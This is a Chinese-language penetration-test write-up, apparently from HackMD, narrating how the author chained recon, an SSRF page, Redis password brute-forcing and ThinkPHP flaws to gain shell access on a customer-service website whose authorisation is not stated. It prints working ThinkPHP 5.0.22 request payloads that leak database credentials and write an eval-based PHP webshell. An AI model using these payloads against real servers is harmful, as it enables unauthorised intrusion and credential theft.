# 從 SSRF 到 RCE 全紀錄 ## 起因 意外翻到了某個客服網站有個疑似被惡意塞入的 ssrf 漏洞,抱持著嘗試找到新的洞的心態深入挖掘下去 ## Recon 對於新的一個網站,首先先用工具做滲透測試,主要使用工具為`AWVS`、`ARL`、各類型的子域名爆破工具、針對路徑做 fuzz 的工具,並掃描該 ip 所開啟的 protocol 有哪些可以利用。 將用子域名爆破工具掃出來的網站一一丟進`AWVS`、`ARL`掃描,其中比較關鍵的是找到一個 `SSRF`頁面,參數是`url`,看起來就是故意留的,先嘗試利用看看可以做到什麼樣的程度。 ### `ssrf.php` 有路徑可使用首先先試試 LFI,因為其攻擊最為簡單 #### LFI  空空的,看來並不屬於 LFI,那就不能攻擊 session 達到 RCE。 #### SSRF 嘗試各種 protocol。 ##### file protocol  有回顯,那就看看`ssrf.php`內容是什麼,看來就只能做到`SSRF`,確定沒辦法 LFI,不過有 SSRF 就可以用 gopher 嘗試攻擊其他服務。  #### 攻擊其他服務 ##### FTP 本身就開在外網,無須特別用 gopher,但其 FTP 未開啟 `anonymouse` 帳號,暫時沒有利用點。 ##### SSH 本身就開在外網,無須特別用 gopher,但沒有帳密也不用打了,只有爆破使用者的洞可以用,暫時用不到。 ##### MySQL 開在內網,但可以利用 gopher 做攻擊,常用套路為用匿名帳號進或是 root 使用預設密碼,但嘗試後都失敗了,但有發現一個提權的漏洞,之後若有一般使用者就可以試試看。 ##### Redis SSRF 常用攻擊套路,先用 dict protocol 試試看有沒有這服務。  有這服務但是卻需要密碼,那可以先嘗試弱密碼爆破,很幸運的爆一小段時間就成功拿到密碼了,接下來就嘗試 gopher + redis 的常用套路攻擊看看。  1. 寫 webshell * 寫不進去 `/upload/files/` 的路徑裡 2. 寫 /root/.ssh/authorized_keys * 寫不進去 `/root/.ssh/` 的路徑裡 Redis 本身資料確定是有寫進去的,推測是 Redis 權限不足以寫進網頁與`root`所在路徑。 ##### php-fpm 服務根本沒開,沒辦法用 gopher 打了。 ##### memcached 在 `/etc/passwd` 有看到 `memcached` 這個 user,嘗試用 gopher 打 phpmemcache 沒反應。 **到這裡 SSRF 常用套路都用過了,只好再繼續挖掘其他漏洞** ### `AWVS` + path fuzz 掃出的無用子網域有點多,因此我只針對同 ip 的做掃描,並針對各頁面做詳細的人工分析。 #### Domain 1 * Laravel debug mode * `/public/_ignition/execute-solution` * CVE-2021-3129 * ignition ^1.16.4 < 2.5.2 * `/composer.json` * Laravel ^6.20.12 < 8.4.3 * payload 試了好幾個都沒辦法打,只有成功清空 laravel.log 的功能 #### Domain 2 * ThinkPHP v6.0.9 * 太新了,沒找到洞 * debug 沒關 #### Domain 3 找到 db 資訊相關路徑 * `/data/config.php` * ThinkPHP 5.0.11 * 有 RCE 漏洞可以使用,但利用失敗 #### Domain 4 * LFI *  * 用 Session Upload Progress 大法 (LFI to RCE) * 這個 LFI 只能讀不能執行 *  * php code 寫進去了但沒執行 * ThinkPHP 5.0.22 有洞可以嘗試 * get database username * `wximage.php?s=index/think\config/get&name=database.username` * get database password * `wximage.php?s=index/think\config/get&name=database.password` * get phpinfo * `wximage.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1` * 看到有關掉敏感函數,但卻沒看到 `eval` 和 `file_put_content` * write webshell * `wximage.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=webshell.php&vars[1][1]='<?php%20eval($_POST['exec']);%20?>'` * **!!! GETSHELL !!!** #### Domain N 很多 db 相關資訊都沒鎖權限,常用路徑猜一猜就能看到帳密,如果 ThinkPHP 攻擊失敗可以就要嘗試剛剛所說的 MySQL 提權攻擊 * Ex: * `/data/config.php` ## 結論 在其中一個頁面找到 ThinkPHP 漏洞,成功上傳 Webshell ### 心得 #### 前期 SSRF 前期很快就找到 `ssrf.php`,一直在嘗試 redis、php-fpm 這類的攻擊,但一直成功不了,反覆修改 payload 都無果,一直到進後台才發現問題是權限不足。 #### 中期 Recon 放棄使用 SSRF 的攻擊,繼續 Recon,使用 AWVS、ARL 等工具開始對目標網站與其子網站做掃描,其中最有價值的漏洞是 `CVE-2021-3129`,但是經過反覆嘗試卻一直成功不了,這個 `CVE` 曾經也是發現條件符合但是用不了,可能還有一些問題需要研究。接下來就翻遍各式敏感檔案,雖然有拿到一些 MySQL 的帳號,但權限都不高。 #### 後期 GetShell 在人工測試的時候,有看到許多頁面直接跳出版本號,例如: `ThinkPHP 6.0.9`,查下去發現,`ThinkPHP` 常見的洞都是在 5 版,接下來猜測說其他子網域可能也會有 `ThinkPHP`。 最後果真被我連到一個 `ThinkPHP 5.0.22`,但是利用需要知道攻擊的路徑,回去翻 AWVS 發現了一個能用的路徑,接下來就嘗試進行攻擊,最初 `system` 怎麼都執行不了,查看他的 `phpinfo` 才知道,他擋掉了許多敏感函數,但是很明顯沒有檔 `eval` 和 `file_put_contents`,所以我就利用 `file_put_contents` 寫入 `eval`,就能利用該檔案得到 webshell 了。
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up